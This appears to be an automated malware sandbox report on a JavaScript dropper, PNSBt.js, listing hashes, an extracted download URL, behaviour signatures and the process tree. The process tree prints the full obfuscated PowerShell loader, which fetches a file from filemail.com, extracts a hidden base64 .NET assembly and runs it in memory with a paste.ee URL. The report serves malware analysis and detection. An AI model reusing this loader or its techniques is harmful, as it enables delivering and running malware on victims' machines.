Analysis
-
max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
20-11-2024 19:37
Static task
static1
Behavioral task
behavioral1
Sample
PNSBt.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
PNSBt.js
Resource
win10v2004-20241007-en
General
-
Target
PNSBt.js
-
Size
103KB
-
MD5
82bf71f9d463c60e2304cbf9f9cac022
-
SHA1
d54cce9d9a238310b00d154c9f35033e62ca1d81
-
SHA256
3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488
-
SHA512
19bf4493c19a438fbd21266f012f21b22a2cf0448db22c41d9994afaa200a04a621968737953c12408f7d31e9c8c0bbd253e900823364210090e98a841b5004c
-
SSDEEP
3072:MHXp+q62Nhxdd5pdq61HXp+q62Nhxdd5pdqsVd0HXp+q62Nhxdd5pdq61HXp+q61:k3/13jc3/13+
Malware Config
Extracted
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 5 1712 powershell.exe 6 1712 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid process 2364 powershell.exe 1712 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 2364 powershell.exe 1712 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2364 powershell.exe Token: SeDebugPrivilege 1712 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
wscript.exepowershell.exedescription pid process target process PID 2984 wrote to memory of 2364 2984 wscript.exe powershell.exe PID 2984 wrote to memory of 2364 2984 wscript.exe powershell.exe PID 2984 wrote to memory of 2364 2984 wscript.exe powershell.exe PID 2364 wrote to memory of 1712 2364 powershell.exe powershell.exe PID 2364 wrote to memory of 1712 2364 powershell.exe powershell.exe PID 2364 wrote to memory of 1712 2364 powershell.exe powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\PNSBt.js1⤵
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAoACgARwBlAFQALQBWAGEAcgBJAGEAQgBsAGUAIAAnACoAbQBkAFIAKgAnACkALgBOAGEATQBlAFsAMwAsADEAMQAsADIAXQAtAGoAbwBJAE4AJwAnACkAKAAgACgAJwBjAHEAagBpAG0AYQBnAGUAVQByAGwAIAA9ACAAcABYAHoAaAB0AHQAcABzADoALwAvADEAMAAxADcALgBmAGkAbABlAG0AYQBpAGwALgBjAG8AbQAvAGEAcABpAC8AZgBpAGwAZQAvAGcAZQB0AD8AZgBpAGwAZQBrAGUAeQA9ADIAQQBhAF8AYgBXAG8AOQBSAGUAdQA0ADUAdAA3AEIAVQAxAGsAVgBnAHMAZAA5AHAAVAA5AHAAZwBTAFMAbAB2AFMAdABHAHIAbgBUAEkAQwBmAEYAaABtAFQASwBqADMATABDADYAUwBRACcAKwAnAHQASQBjAE8AYwBfAFQAMwA1AHcAJgBwAGsAXwB2ACcAKwAnAGkAZAA9AGYAZAA0AGYANgAxADQAYgBiADIAMAA5AGMANgAyAGMAMQA3ADMAMAA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ALABwAFgAegBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWAB6ACwAcABYAHoAMQBwAFgAegAsAHAAWAB6AGQAZQAnACsAJwBzAGEAdABpAHYAYQBkAG8AcABYAHoAKQApADsAJwApAC4AcgBlAFAATABBAEMAZQAoACgAWwBDAEgAQQBSAF0AMQAxADAAKwBbAEMASABBAFIAXQAxADIAMAArAFsAQwBIAEEAUgBdADkANwApACwAJwB8ACcAKQAuAHIAZQBQAEwAQQBDAGUAKAAoAFsAQwBIAEEAUgBdADEAMQAyACsAWwBDAEgAQQBSAF0AOAA4ACsAWwBDAEgAQQBSAF0AMQAyADIAKQAsAFsAcwB0AHIAaQBOAGcAXQBbAEMASABBAFIAXQAzADkAKQAuAHIAZQBQAEwAQQBDAGUAKAAoAFsAQwBIAEEAUgBdADkAOQArAFsAQwBIAEEAUgBdADEAMQAzACsAWwBDAEgAQQBSAF0AMQAwADYAKQAsACcAJAAnACkAIAApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((GeT-VarIaBle '*mdR*').NaMe[3,11,2]-joIN'')( ('cqjimageUrl = pXzhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQ'+'tIcOc_T35w&pk_v'+'id=fd4f614bb209c62c1730945176a0904f pXz;cqjwebClient = New-Object System.Net.WebClient;'+'cqjimageBytes = cqjwebClient.DownloadData(cqjimageUr'+'l);cqjimageText = [System.Text.Encoding]::UTF8.GetString(cq'+'jimageBytes)'+';cqjstartFlag = pXz<<BASE64_START>>pXz;cqjendFlag = pXz<<BASE64_END>>pXz;cqjs'+'tar'+'tIndex = cqjimageText.Index'+'O'+'f(cqjstartFlag);cqjend'+'Index = cqjim'+'ageText.IndexO'+'f(cqjendFlag);cq'+'j'+'startIndex -ge 0 -and cqjendIndex -gt cqjstartIndex;cqjstartIndex += cqjstartFlag.Length;cqjbase64Length = cqj'+'endIndex - cqjstartIndex;cqjbase64Co'+'mmand = cqj'+'imageText.Substring('+'cqjstartIn'+'dex,'+' cqjbase64Length);cqj'+'base64Reversed = -join (cqjbase64Command.ToCharArray() nxa ForEach-Object { cqj_ })[-1..-(cqjbase64Co'+'mmand.Length)];cqjcommandBytes = [System.Convert]::FromBase64String(cqjbase64Reversed);cqjloadedAssembly = [System.Reflectio'+'n.Assemb'+'ly'+']'+'::Loa'+'d(cqjcomma'+'ndBytes);cqjvaiMe'+'thod = [dnlib.IO.Home].GetMethod(pXzVAIpX'+'z);cqjvaiMethod.Invoke'+'(cqjnull, @(pXz0/8eR'+'NG/d/ee.etsap//:sptthpXz, pXzdesativadopXz, pXzd'+'esativad'+'opXz, pXzdesativado'+'pXz, pXzMSBuildpXz, pXzde'+'sativadopXz, pXzd'+'esa'+'tivadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXz1pXz,pXzde'+'sativadopXz));').rePLACe(([CHAR]110+[CHAR]120+[CHAR]97),'|').rePLACe(([CHAR]112+[CHAR]88+[CHAR]122),[striNg][CHAR]39).rePLACe(([CHAR]99+[CHAR]113+[CHAR]106),'$') )"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1712
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5444f7ac837dae7d0fe28874925cee600
SHA115928bc9226690d54d534e29d1dbbc535a48c85b
SHA2562f4027b8aded461aa5a666073be597348a2e130308d5683b05ba2601613e0d73
SHA51247dc9a71935b15b66be6843213882510cb31a50ea2576220b840b379c681e9c8eff3c334fe90219a37ee89c7c5221ac4565514d52f7c83099c862852d640cb7c